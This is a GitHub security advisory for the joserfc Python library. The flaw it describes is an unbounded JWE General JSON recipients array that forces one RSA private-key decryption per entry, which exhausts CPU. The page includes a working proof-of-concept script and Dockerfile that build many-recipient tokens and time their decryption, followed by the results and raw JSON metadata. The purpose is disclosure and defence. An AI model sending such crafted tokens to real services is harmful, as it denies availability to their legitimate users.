GHSA-JPXQ-7H8P-2Q76

Vulnerability from github – Published: 2026-10-30 14:54 – Updated: 2026-10-30 14:54
VLAI
Summary
joserfc: Unbounded JWE General JSON `recipients` Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private-Key Decryption
Details

Summary

joserfc.jwe.decrypt_json(), the library's public parser for JWE General JSON Serialization, accepts an attacker-controlled recipients array of unbounded length and performs one full private-key decryption operation (decrypt_cek) for every recipient present in the input, with no cap on recipient count. An unauthenticated network attacker who can send a JWE General JSON document to any endpoint that decrypts it with an RSA key (e.g. RSA-OAEP) can force the victim to perform an arbitrary, attacker-chosen number of RSA private-key decryption operations from a single, relatively small HTTP request. This gives the attacker a highly asymmetric CPU-exhaustion (Denial of Service) primitive: local reproduction shows request size growing linearly with recipient count (~396 bytes/recipient) while server-side CPU time grows in lock-step (near 1:1 ratio between recipient-count growth and decrypt-time growth), and the library's only documented mitigation knob, verify_all_recipients=False, does not reduce the CPU cost, since the decrypt loop attempts every recipient's decrypt_cek() unconditionally before that flag is ever consulted. This is CWE-400 (Uncontrolled Resource Consumption) with CVSS v3.1 Base Score 7.5 (High).

Details

joserfc validates and caps several structural elements of a JWE (protected header size, encrypted key size, IV size, ciphertext size, and auth-tag size) inside src/joserfc/_rfc7516/registry.py, but performs no validation whatsoever on the number of entries in the recipients array of a JWE General JSON Serialization object.

Data flow (source → sink), verified directly against the repository source at commit 26a10275e88276184f91ae2a6409647bfac7fea5 (joserfc 1.7.4):

  1. src/joserfc/jwe.py:214 — public parser entry point decrypt_json(data, private_key, ...). This is a documented, unauthenticated (at the library boundary) API for parsing externally supplied JWE JSON.
  2. src/joserfc/jwe.py:238 — if "recipients" is present in the input dict, extract_general_json(...) is invoked.
  3. src/joserfc/_rfc7516/json.py:84-86 — iterates for item in data["recipients"]: and appends a Recipient object for every entry, with no upper bound check on len(data["recipients"]): python for item in data["recipients"]: recipient = __extract_recipient(obj, item, registry) obj.recipients.append(recipient)
  4. src/joserfc/jwe.py:252 — the private key is attached to every extracted recipient.
  5. src/joserfc/_rfc7516/message.py:103-112 — _perform_decrypt() loops over every recipient in obj.recipients and calls decrypt_recipient(...) for each one, regardless of how many there are: python cek_set = set() for recipient in obj.recipients: headers = recipient.headers() registry.check_header(headers, True) alg = registry.get_alg(headers["alg"]) try: cek = decrypt_recipient(alg, enc, recipient, tag) cek_set.add(cek)
  6. src/joserfc/_rfc7518/jwe_algs.py:74-83 — for RSA-OAEP/RSA1_5 recipients, this dispatches to the sink, a genuine RSA private-key operation: python def decrypt_cek(self, recipient: Recipient[RSAKey]) -> bytes: key = recipient.recipient_key assert key is not None self.check_key_type(key) op_key = key.get_op_key("decrypt") try: assert recipient.encrypted_key is not None cek = op_key.decrypt(recipient.encrypted_key, self.padding)

Confirmed by direct inspection of src/joserfc/_rfc7516/registry.py: size caps exist for max_header_length, max_encrypted_key_length, max_iv_length, max_ciphertext_length, and max_auth_tag_length (registry.py:52-62, 103-121), but no max_recipients (or equivalent) field or check exists anywhere in registry.py, json.py, or jwe.py.

Critically, the loop in message.py:103-112 calls decrypt_recipient() for every recipient unconditionally — this happens before registry.verify_all_recipients is ever consulted. Setting verify_all_recipients=False (the library's only documented related option) therefore changes whether a decrypt failure raises an exception, but does not reduce the number of RSA private-key operations performed, and thus does not mitigate the CPU cost. This was independently confirmed at runtime (see PoC results below): decrypt time is statistically identical between verify_all_recipients=True and verify_all_recipients=False for the same recipient count.

decrypt_json() is not a demo-only or admin-only code path: it is documented in docs/guide/jwe.rst:156-182 as the standard way to parse and decrypt an externally received General JSON JWE, and requires no special/non-default configuration to trigger. This is functionally analogous to two other resource-exhaustion issues already fixed in the same codebase — the PBES2 p2c iteration cap (src/joserfc/_rfc7518/jwe_algs.py:237-239) and the JWE compression "zip bomb" size cap (src/joserfc/_rfc7518/jwe_zips.py:11,26-28) — indicating the recipient-count case was simply missed from the same class of hardening.

PoC

Both static (Phase 1) and dynamic, containerized (Phase 2) reproduction confirmed the vulnerability against unmodified joserfc 1.7.4 source.

Environment setup (Dockerfile):

FROM python:3.12-slim
WORKDIR /app
# Copy the exact repository source under test (unmodified).
COPY repo /app/repo
# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo
# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py
ENTRYPOINT ["python3", "/app/poc.py"]

Build and run (source is used unmodified; container has no network access):

docker build -t joserfc-vuln001 -f vuln-001/Dockerfile .
docker run --rm --network none joserfc-vuln001 --recipients 1 500 1500

PoC logic (poc.py): generates a victim RSA-2048 keypair (representing the RSA key an application would use for RSA-OAEP JWE decryption), crafts a General JSON JWE (GeneralJSONEncryption) wrapping a small plaintext with an attacker-chosen number n of RSA-OAEP recipients (all using the victim's public key, which is inherently public for JWE encryption), then calls the unmodified public API joserfc.jwe.decrypt_json() and measures wall-clock decrypt time, once with verify_all_recipients=True and once with verify_all_recipients=False.

def build_token(public_key, n_recipients: int) -> tuple[str, int]:
    obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
    for _ in range(n_recipients):
        obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
    token = jwe.encrypt_json(obj, None)
    size_bytes = len(json.dumps(token).encode())
    return token, size_bytes

def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
    registry = JWERegistry(verify_all_recipients=verify_all_recipients)
    t0 = time.perf_counter()
    out = jwe.decrypt_json(token, private_key, registry=registry)
    dt = time.perf_counter() - t0
    assert out.plaintext == b"hello"
    return dt

Observed results (Phase 2, inside the Docker container, --network none, unmodified source):

[*] Attacker crafts General JSON JWE with recipients=1 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001
[*] Attacker crafts General JSON JWE with recipients=500 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651
[*] Attacker crafts General JSON JWE with recipients=1500 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875
[CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x
[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with
       no upper bound, and verify_all_recipients=False did not mitigate the cost.

Independent static-phase (Phase 1) reproduction against the same commit, outside the container, produced the same linear-scaling behavior (recipients=500 → 198,140 bytes → 0.627s; recipients=1500 → 594,140 bytes → 1.957s), and the original report's own local run showed recipients=1000 → 396,140 bytes → 1.254s; recipients=3000 → 1,188,140 bytes → 3.762s. In every run, plaintext=b'hello' was correctly recovered, confirming each crafted request is fully valid input, not malformed data rejected early.

In all cases, verify_all_recipients=False produced decrypt times statistically identical to verify_all_recipients=True for the same recipient count (e.g. 500 recipients: 0.631s vs 0.651s; 1500 recipients: 1.874s vs 1.875s), empirically confirming that this documented flag does not mitigate the CPU cost.

Impact

This is a remote, unauthenticated CPU-exhaustion Denial-of-Service vulnerability (CWE-400, Uncontrolled Resource Consumption). Any application that:

  • exposes an endpoint (or message-processing path) that accepts JWE data in General JSON Serialization form, and
  • decrypts it using joserfc.jwe.decrypt_json() with an RSA-based key-management algorithm (e.g. RSA-OAEP, RSA1_5)

is impacted. The attacker needs only the victim's RSA public key — which is inherently public, since it is used by legitimate senders to encrypt JWEs to the victim. Because request size scales linearly with recipient count (~396 bytes per recipient) while attacker-inflicted server CPU cost scales in lock-step with recipient count, the attacker gets a highly favorable cost asymmetry: e.g. a ~1.2 MB request forced ~3.8 seconds of RSA-2048 private-key decrypt operations in testing. Repeated or concurrent requests of this shape can exhaust available CPU/worker capacity on the victim service, degrading or denying availability for legitimate users. Confidentiality and integrity are not affected (no key material or plaintext is disclosed or corrupted); the impact is availability only, matching the CVSS vector's C:N/I:N/A:H.

Reproduction artifacts

Dockerfile

# VULN-001 dynamic reproduction environment
# Unbounded JWE General JSON "recipients" array causes CPU exhaustion via
# repeated RSA private-key decryption in joserfc's decrypt_json().
#
# This image builds joserfc from the local repository clone (unmodified
# source) and provides a Python environment to run poc.py against it.

FROM python:3.12-slim

WORKDIR /app

# Copy the exact repository source under test (unmodified).
COPY repo /app/repo

# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo

# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py

ENTRYPOINT ["python3", "/app/poc.py"]

poc.py

"""
VULN-001 dynamic PoC: Unbounded JWE General JSON "recipients" array causes
CPU exhaustion (CWE-400) via repeated RSA private-key decryption inside
joserfc's public parser API `joserfc.jwe.decrypt_json()`.

Data flow reproduced end to end (unmodified joserfc source):
  1. joserfc.jwe.decrypt_json()                         (src/joserfc/jwe.py:214)
  2. -> extract_general_json()                           (src/joserfc/_rfc7516/json.py:73)
  3. -> for item in data["recipients"]: (NO COUNT CAP)   (src/joserfc/_rfc7516/json.py:84)
  4. -> perform_decrypt() -> _perform_decrypt()          (src/joserfc/_rfc7516/message.py:93-112)
  5. -> for recipient in obj.recipients: decrypt_recipient(...) for EVERY recipient,
        regardless of registry.verify_all_recipients
  6. -> RSAAlgModel.decrypt_cek(): op_key.decrypt(...)   (src/joserfc/_rfc7518/jwe_algs.py:74-83)
     performs one real RSA-2048 private-key decrypt operation per recipient.

This script:
  (a) builds a victim RSA keypair (2048-bit, as an application would use for
      RSA-OAEP JWE decryption),
  (b) crafts a General JSON JWE token with an attacker-chosen number of
      RSA-OAEP recipients, all wrapping the SAME small ciphertext,
  (c) measures wall-clock CPU time joserfc's unmodified decrypt_json() spends
      processing the token as the recipient count grows,
  (d) shows that setting verify_all_recipients=False (the only public
      mitigation knob mentioned in the docs) does NOT reduce the CPU cost,
      because the decrypt loop in message.py always attempts every
      recipient's decrypt_cek() before that flag is ever consulted.

Deterministic PASS criteria (printed as machine-readable JSON lines):
  - decrypt_json() succeeds (returns correct plaintext) for all recipient counts.
  - decrypt_seconds scales roughly linearly with recipient count (attacker
    control over victim CPU cost, unbounded by the library).
  - decrypt_seconds for verify_all_recipients=False is statistically the same
    order of magnitude as verify_all_recipients=True for the same recipient
    count (proving the documented mitigation does not help).
"""

import argparse
import json
import time

from joserfc import jwe, jwk
from joserfc.jwe import GeneralJSONEncryption
from joserfc.jwe import JWERegistry


def build_token(public_key, n_recipients: int) -> tuple[str, int]:
    """Craft a General JSON JWE with n_recipients RSA-OAEP recipients,
    all wrapping the same small plaintext. This is exactly the shape an
    unauthenticated network attacker can send to any endpoint that calls
    jwe.decrypt_json() on external input, as documented in
    docs/guide/jwe.rst."""
    obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
    for _ in range(n_recipients):
        obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
    token = jwe.encrypt_json(obj, None)
    size_bytes = len(json.dumps(token).encode())
    return token, size_bytes


def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
    registry = JWERegistry(verify_all_recipients=verify_all_recipients)
    t0 = time.perf_counter()
    out = jwe.decrypt_json(token, private_key, registry=registry)
    dt = time.perf_counter() - t0
    assert out.plaintext == b"hello", f"unexpected plaintext: {out.plaintext!r}"
    return dt


def main():
    parser = argparse.ArgumentParser(description="VULN-001 dynamic reproduction PoC")
    parser.add_argument(
        "--recipients",
        type=int,
        nargs="+",
        default=[1, 500, 1500],
        help="Recipient counts to test (attacker-controlled array length).",
    )
    parser.add_argument(
        "--key-bits",
        type=int,
        default=2048,
        help="RSA key size of the victim's decryption key.",
    )
    args = parser.parse_args()

    print(f"[*] Generating victim RSA-{args.key_bits} keypair (RSA-OAEP JWE key)...")
    private_key = jwk.RSAKey.generate_key(args.key_bits)
    public_key = jwk.RSAKey.import_key(private_key.as_dict(private=False))
    print("[*] Victim private key generated locally; public key is what an attacker would normally have.")

    results = []
    for n in args.recipients:
        print(f"\n[*] Attacker crafts General JSON JWE with recipients={n} ...")
        token, size_bytes = build_token(public_key, n)

        dt_verify_true = measure_decrypt(token, private_key, verify_all_recipients=True)
        print(
            f"    verify_all_recipients=True  -> decrypt_json() succeeded, "
            f"size_bytes={size_bytes} decrypt_seconds={dt_verify_true:.3f}"
        )

        dt_verify_false = measure_decrypt(token, private_key, verify_all_recipients=False)
        print(
            f"    verify_all_recipients=False -> decrypt_json() succeeded, "
            f"size_bytes={size_bytes} decrypt_seconds={dt_verify_false:.3f} "
            f"(documented 'mitigation' does NOT reduce CPU cost)"
        )

        results.append(
            {
                "recipients": n,
                "size_bytes": size_bytes,
                "decrypt_seconds_verify_all_true": round(dt_verify_true, 3),
                "decrypt_seconds_verify_all_false": round(dt_verify_false, 3),
            }
        )

    print("\n[RESULT_JSON] " + json.dumps(results))

    # Deterministic scaling check: CPU time for the largest recipient count
    # must be substantially larger (order of magnitude, not noise) than for
    # the smallest, proving attacker control over victim CPU consumption.
    baseline = results[0]["decrypt_seconds_verify_all_true"]
    worst = results[-1]["decrypt_seconds_verify_all_true"]
    ratio = worst / baseline if baseline > 0 else float("inf")
    recipient_ratio = results[-1]["recipients"] / results[0]["recipients"]
    print(
        f"[CHECK] recipient_count_ratio={recipient_ratio:.1f}x "
        f"decrypt_time_ratio={ratio:.1f}x "
        f"(unbounded recipients => unbounded RSA-decrypt CPU cost, no cap in registry.py)"
    )

    if ratio < recipient_ratio * 0.3:
        print("[FAIL] Decrypt time did not scale with recipient count as expected.")
        raise SystemExit(1)

    print("[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied "
          "recipient with no upper bound, and verify_all_recipients=False did not mitigate the cost.")


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "joserfc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-119283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-30T14:54:20Z",
    "nvd_published_at": "2026-10-29T22:17:01Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`joserfc.jwe.decrypt_json()`, the library\u0027s public parser for JWE General JSON Serialization, accepts an attacker-controlled `recipients` array of unbounded length and performs one full private-key decryption operation (`decrypt_cek`) for **every** recipient present in the input, with no cap on recipient count. An unauthenticated network attacker who can send a JWE General JSON document to any endpoint that decrypts it with an RSA key (e.g. RSA-OAEP) can force the victim to perform an arbitrary, attacker-chosen number of RSA private-key decryption operations from a single, relatively small HTTP request. This gives the attacker a highly asymmetric CPU-exhaustion (Denial of Service) primitive: local reproduction shows request size growing linearly with recipient count (~396 bytes/recipient) while server-side CPU time grows in lock-step (near 1:1 ratio between recipient-count growth and decrypt-time growth), and the library\u0027s only documented mitigation knob, `verify_all_recipients=False`, does **not** reduce the CPU cost, since the decrypt loop attempts every recipient\u0027s `decrypt_cek()` unconditionally before that flag is ever consulted. This is CWE-400 (Uncontrolled Resource Consumption) with CVSS v3.1 Base Score 7.5 (High).\n\n### Details\n\n`joserfc` validates and caps several structural elements of a JWE (protected header size, encrypted key size, IV size, ciphertext size, and auth-tag size) inside `src/joserfc/_rfc7516/registry.py`, but performs **no validation whatsoever on the number of entries in the `recipients` array** of a JWE General JSON Serialization object.\n\nData flow (source \u2192 sink), verified directly against the repository source at commit `26a10275e88276184f91ae2a6409647bfac7fea5` (joserfc 1.7.4):\n\n1. `src/joserfc/jwe.py:214` \u2014 public parser entry point `decrypt_json(data, private_key, ...)`. This is a documented, unauthenticated (at the library boundary) API for parsing externally supplied JWE JSON.\n2. `src/joserfc/jwe.py:238` \u2014 if `\"recipients\"` is present in the input dict, `extract_general_json(...)` is invoked.\n3. `src/joserfc/_rfc7516/json.py:84-86` \u2014 iterates `for item in data[\"recipients\"]:` and appends a `Recipient` object for every entry, with **no upper bound check** on `len(data[\"recipients\"])`:\n   ```python\n   for item in data[\"recipients\"]:\n       recipient = __extract_recipient(obj, item, registry)\n       obj.recipients.append(recipient)\n   ```\n4. `src/joserfc/jwe.py:252` \u2014 the private key is attached to every extracted recipient.\n5. `src/joserfc/_rfc7516/message.py:103-112` \u2014 `_perform_decrypt()` loops over **every** recipient in `obj.recipients` and calls `decrypt_recipient(...)` for each one, regardless of how many there are:\n   ```python\n   cek_set = set()\n   for recipient in obj.recipients:\n       headers = recipient.headers()\n       registry.check_header(headers, True)\n       alg = registry.get_alg(headers[\"alg\"])\n       try:\n           cek = decrypt_recipient(alg, enc, recipient, tag)\n           cek_set.add(cek)\n   ```\n6. `src/joserfc/_rfc7518/jwe_algs.py:74-83` \u2014 for RSA-OAEP/RSA1_5 recipients, this dispatches to the sink, a genuine RSA private-key operation:\n   ```python\n   def decrypt_cek(self, recipient: Recipient[RSAKey]) -\u003e bytes:\n       key = recipient.recipient_key\n       assert key is not None\n       self.check_key_type(key)\n       op_key = key.get_op_key(\"decrypt\")\n       try:\n           assert recipient.encrypted_key is not None\n           cek = op_key.decrypt(recipient.encrypted_key, self.padding)\n   ```\n\nConfirmed by direct inspection of `src/joserfc/_rfc7516/registry.py`: size caps exist for `max_header_length`, `max_encrypted_key_length`, `max_iv_length`, `max_ciphertext_length`, and `max_auth_tag_length` (registry.py:52-62, 103-121), but no `max_recipients` (or equivalent) field or check exists anywhere in `registry.py`, `json.py`, or `jwe.py`.\n\nCritically, the loop in `message.py:103-112` calls `decrypt_recipient()` for **every** recipient unconditionally \u2014 this happens *before* `registry.verify_all_recipients` is ever consulted. Setting `verify_all_recipients=False` (the library\u0027s only documented related option) therefore changes whether a decrypt failure raises an exception, but does **not** reduce the number of RSA private-key operations performed, and thus does not mitigate the CPU cost. This was independently confirmed at runtime (see PoC results below): decrypt time is statistically identical between `verify_all_recipients=True` and `verify_all_recipients=False` for the same recipient count.\n\n`decrypt_json()` is not a demo-only or admin-only code path: it is documented in `docs/guide/jwe.rst:156-182` as the standard way to parse and decrypt an externally received General JSON JWE, and requires no special/non-default configuration to trigger. This is functionally analogous to two other resource-exhaustion issues already fixed in the same codebase \u2014 the PBES2 `p2c` iteration cap (`src/joserfc/_rfc7518/jwe_algs.py:237-239`) and the JWE compression \"zip bomb\" size cap (`src/joserfc/_rfc7518/jwe_zips.py:11,26-28`) \u2014 indicating the recipient-count case was simply missed from the same class of hardening.\n\n### PoC\n\nBoth static (Phase 1) and dynamic, containerized (Phase 2) reproduction confirmed the vulnerability against unmodified joserfc 1.7.4 source.\n\n**Environment setup (Dockerfile):**\n\n```dockerfile\nFROM python:3.12-slim\nWORKDIR /app\n# Copy the exact repository source under test (unmodified).\nCOPY repo /app/repo\n# Install joserfc from local source in editable/normal mode.\nRUN pip install --no-cache-dir /app/repo\n# Copy the PoC script.\nCOPY vuln-001/poc.py /app/poc.py\nENTRYPOINT [\"python3\", \"/app/poc.py\"]\n```\n\nBuild and run (source is used unmodified; container has no network access):\n\n```bash\ndocker build -t joserfc-vuln001 -f vuln-001/Dockerfile .\ndocker run --rm --network none joserfc-vuln001 --recipients 1 500 1500\n```\n\n**PoC logic (`poc.py`):** generates a victim RSA-2048 keypair (representing the RSA key an application would use for RSA-OAEP JWE decryption), crafts a General JSON JWE (`GeneralJSONEncryption`) wrapping a small plaintext with an attacker-chosen number `n` of RSA-OAEP recipients (all using the victim\u0027s public key, which is inherently public for JWE encryption), then calls the unmodified public API `joserfc.jwe.decrypt_json()` and measures wall-clock decrypt time, once with `verify_all_recipients=True` and once with `verify_all_recipients=False`.\n\n```python\ndef build_token(public_key, n_recipients: int) -\u003e tuple[str, int]:\n    obj = GeneralJSONEncryption({\"enc\": \"A128GCM\"}, b\"hello\")\n    for _ in range(n_recipients):\n        obj.add_recipient({\"alg\": \"RSA-OAEP\"}, public_key)\n    token = jwe.encrypt_json(obj, None)\n    size_bytes = len(json.dumps(token).encode())\n    return token, size_bytes\n\ndef measure_decrypt(token, private_key, verify_all_recipients: bool) -\u003e float:\n    registry = JWERegistry(verify_all_recipients=verify_all_recipients)\n    t0 = time.perf_counter()\n    out = jwe.decrypt_json(token, private_key, registry=registry)\n    dt = time.perf_counter() - t0\n    assert out.plaintext == b\"hello\"\n    return dt\n```\n\n**Observed results (Phase 2, inside the Docker container, `--network none`, unmodified source):**\n\n```\n[*] Attacker crafts General JSON JWE with recipients=1 ...\n    verify_all_recipients=True  -\u003e decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002\n    verify_all_recipients=False -\u003e decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001\n[*] Attacker crafts General JSON JWE with recipients=500 ...\n    verify_all_recipients=True  -\u003e decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631\n    verify_all_recipients=False -\u003e decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651\n[*] Attacker crafts General JSON JWE with recipients=1500 ...\n    verify_all_recipients=True  -\u003e decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874\n    verify_all_recipients=False -\u003e decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875\n[CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x\n[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with\n       no upper bound, and verify_all_recipients=False did not mitigate the cost.\n```\n\nIndependent static-phase (Phase 1) reproduction against the same commit, outside the container, produced the same linear-scaling behavior (recipients=500 \u2192 198,140 bytes \u2192 0.627s; recipients=1500 \u2192 594,140 bytes \u2192 1.957s), and the original report\u0027s own local run showed recipients=1000 \u2192 396,140 bytes \u2192 1.254s; recipients=3000 \u2192 1,188,140 bytes \u2192 3.762s. In every run, `plaintext=b\u0027hello\u0027` was correctly recovered, confirming each crafted request is fully valid input, not malformed data rejected early.\n\nIn all cases, `verify_all_recipients=False` produced decrypt times statistically identical to `verify_all_recipients=True` for the same recipient count (e.g. 500 recipients: 0.631s vs 0.651s; 1500 recipients: 1.874s vs 1.875s), empirically confirming that this documented flag does not mitigate the CPU cost.\n\n### Impact\n\nThis is a remote, unauthenticated CPU-exhaustion Denial-of-Service vulnerability (CWE-400, Uncontrolled Resource Consumption). Any application that:\n\n- exposes an endpoint (or message-processing path) that accepts JWE data in General JSON Serialization form, and\n- decrypts it using `joserfc.jwe.decrypt_json()` with an RSA-based key-management algorithm (e.g. RSA-OAEP, RSA1_5)\n\nis impacted. The attacker needs only the victim\u0027s RSA public key \u2014 which is inherently public, since it is used by legitimate senders to encrypt JWEs to the victim. Because request size scales linearly with recipient count (~396 bytes per recipient) while attacker-inflicted server CPU cost scales in lock-step with recipient count, the attacker gets a highly favorable cost asymmetry: e.g. a ~1.2 MB request forced ~3.8 seconds of RSA-2048 private-key decrypt operations in testing. Repeated or concurrent requests of this shape can exhaust available CPU/worker capacity on the victim service, degrading or denying availability for legitimate users. Confidentiality and integrity are not affected (no key material or plaintext is disclosed or corrupted); the impact is availability only, matching the CVSS vector\u0027s `C:N/I:N/A:H`.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 dynamic reproduction environment\n# Unbounded JWE General JSON \"recipients\" array causes CPU exhaustion via\n# repeated RSA private-key decryption in joserfc\u0027s decrypt_json().\n#\n# This image builds joserfc from the local repository clone (unmodified\n# source) and provides a Python environment to run poc.py against it.\n\nFROM python:3.12-slim\n\nWORKDIR /app\n\n# Copy the exact repository source under test (unmodified).\nCOPY repo /app/repo\n\n# Install joserfc from local source in editable/normal mode.\nRUN pip install --no-cache-dir /app/repo\n\n# Copy the PoC script.\nCOPY vuln-001/poc.py /app/poc.py\n\nENTRYPOINT [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nVULN-001 dynamic PoC: Unbounded JWE General JSON \"recipients\" array causes\nCPU exhaustion (CWE-400) via repeated RSA private-key decryption inside\njoserfc\u0027s public parser API `joserfc.jwe.decrypt_json()`.\n\nData flow reproduced end to end (unmodified joserfc source):\n  1. joserfc.jwe.decrypt_json()                         (src/joserfc/jwe.py:214)\n  2. -\u003e extract_general_json()                           (src/joserfc/_rfc7516/json.py:73)\n  3. -\u003e for item in data[\"recipients\"]: (NO COUNT CAP)   (src/joserfc/_rfc7516/json.py:84)\n  4. -\u003e perform_decrypt() -\u003e _perform_decrypt()          (src/joserfc/_rfc7516/message.py:93-112)\n  5. -\u003e for recipient in obj.recipients: decrypt_recipient(...) for EVERY recipient,\n        regardless of registry.verify_all_recipients\n  6. -\u003e RSAAlgModel.decrypt_cek(): op_key.decrypt(...)   (src/joserfc/_rfc7518/jwe_algs.py:74-83)\n     performs one real RSA-2048 private-key decrypt operation per recipient.\n\nThis script:\n  (a) builds a victim RSA keypair (2048-bit, as an application would use for\n      RSA-OAEP JWE decryption),\n  (b) crafts a General JSON JWE token with an attacker-chosen number of\n      RSA-OAEP recipients, all wrapping the SAME small ciphertext,\n  (c) measures wall-clock CPU time joserfc\u0027s unmodified decrypt_json() spends\n      processing the token as the recipient count grows,\n  (d) shows that setting verify_all_recipients=False (the only public\n      mitigation knob mentioned in the docs) does NOT reduce the CPU cost,\n      because the decrypt loop in message.py always attempts every\n      recipient\u0027s decrypt_cek() before that flag is ever consulted.\n\nDeterministic PASS criteria (printed as machine-readable JSON lines):\n  - decrypt_json() succeeds (returns correct plaintext) for all recipient counts.\n  - decrypt_seconds scales roughly linearly with recipient count (attacker\n    control over victim CPU cost, unbounded by the library).\n  - decrypt_seconds for verify_all_recipients=False is statistically the same\n    order of magnitude as verify_all_recipients=True for the same recipient\n    count (proving the documented mitigation does not help).\n\"\"\"\n\nimport argparse\nimport json\nimport time\n\nfrom joserfc import jwe, jwk\nfrom joserfc.jwe import GeneralJSONEncryption\nfrom joserfc.jwe import JWERegistry\n\n\ndef build_token(public_key, n_recipients: int) -\u003e tuple[str, int]:\n    \"\"\"Craft a General JSON JWE with n_recipients RSA-OAEP recipients,\n    all wrapping the same small plaintext. This is exactly the shape an\n    unauthenticated network attacker can send to any endpoint that calls\n    jwe.decrypt_json() on external input, as documented in\n    docs/guide/jwe.rst.\"\"\"\n    obj = GeneralJSONEncryption({\"enc\": \"A128GCM\"}, b\"hello\")\n    for _ in range(n_recipients):\n        obj.add_recipient({\"alg\": \"RSA-OAEP\"}, public_key)\n    token = jwe.encrypt_json(obj, None)\n    size_bytes = len(json.dumps(token).encode())\n    return token, size_bytes\n\n\ndef measure_decrypt(token, private_key, verify_all_recipients: bool) -\u003e float:\n    registry = JWERegistry(verify_all_recipients=verify_all_recipients)\n    t0 = time.perf_counter()\n    out = jwe.decrypt_json(token, private_key, registry=registry)\n    dt = time.perf_counter() - t0\n    assert out.plaintext == b\"hello\", f\"unexpected plaintext: {out.plaintext!r}\"\n    return dt\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"VULN-001 dynamic reproduction PoC\")\n    parser.add_argument(\n        \"--recipients\",\n        type=int,\n        nargs=\"+\",\n        default=[1, 500, 1500],\n        help=\"Recipient counts to test (attacker-controlled array length).\",\n    )\n    parser.add_argument(\n        \"--key-bits\",\n        type=int,\n        default=2048,\n        help=\"RSA key size of the victim\u0027s decryption key.\",\n    )\n    args = parser.parse_args()\n\n    print(f\"[*] Generating victim RSA-{args.key_bits} keypair (RSA-OAEP JWE key)...\")\n    private_key = jwk.RSAKey.generate_key(args.key_bits)\n    public_key = jwk.RSAKey.import_key(private_key.as_dict(private=False))\n    print(\"[*] Victim private key generated locally; public key is what an attacker would normally have.\")\n\n    results = []\n    for n in args.recipients:\n        print(f\"\\n[*] Attacker crafts General JSON JWE with recipients={n} ...\")\n        token, size_bytes = build_token(public_key, n)\n\n        dt_verify_true = measure_decrypt(token, private_key, verify_all_recipients=True)\n        print(\n            f\"    verify_all_recipients=True  -\u003e decrypt_json() succeeded, \"\n            f\"size_bytes={size_bytes} decrypt_seconds={dt_verify_true:.3f}\"\n        )\n\n        dt_verify_false = measure_decrypt(token, private_key, verify_all_recipients=False)\n        print(\n            f\"    verify_all_recipients=False -\u003e decrypt_json() succeeded, \"\n            f\"size_bytes={size_bytes} decrypt_seconds={dt_verify_false:.3f} \"\n            f\"(documented \u0027mitigation\u0027 does NOT reduce CPU cost)\"\n        )\n\n        results.append(\n            {\n                \"recipients\": n,\n                \"size_bytes\": size_bytes,\n                \"decrypt_seconds_verify_all_true\": round(dt_verify_true, 3),\n                \"decrypt_seconds_verify_all_false\": round(dt_verify_false, 3),\n            }\n        )\n\n    print(\"\\n[RESULT_JSON] \" + json.dumps(results))\n\n    # Deterministic scaling check: CPU time for the largest recipient count\n    # must be substantially larger (order of magnitude, not noise) than for\n    # the smallest, proving attacker control over victim CPU consumption.\n    baseline = results[0][\"decrypt_seconds_verify_all_true\"]\n    worst = results[-1][\"decrypt_seconds_verify_all_true\"]\n    ratio = worst / baseline if baseline \u003e 0 else float(\"inf\")\n    recipient_ratio = results[-1][\"recipients\"] / results[0][\"recipients\"]\n    print(\n        f\"[CHECK] recipient_count_ratio={recipient_ratio:.1f}x \"\n        f\"decrypt_time_ratio={ratio:.1f}x \"\n        f\"(unbounded recipients =\u003e unbounded RSA-decrypt CPU cost, no cap in registry.py)\"\n    )\n\n    if ratio \u003c recipient_ratio * 0.3:\n        print(\"[FAIL] Decrypt time did not scale with recipient count as expected.\")\n        raise SystemExit(1)\n\n    print(\"[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied \"\n          \"recipient with no upper bound, and verify_all_recipients=False did not mitigate the cost.\")\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-jpxq-7h8p-2q76",
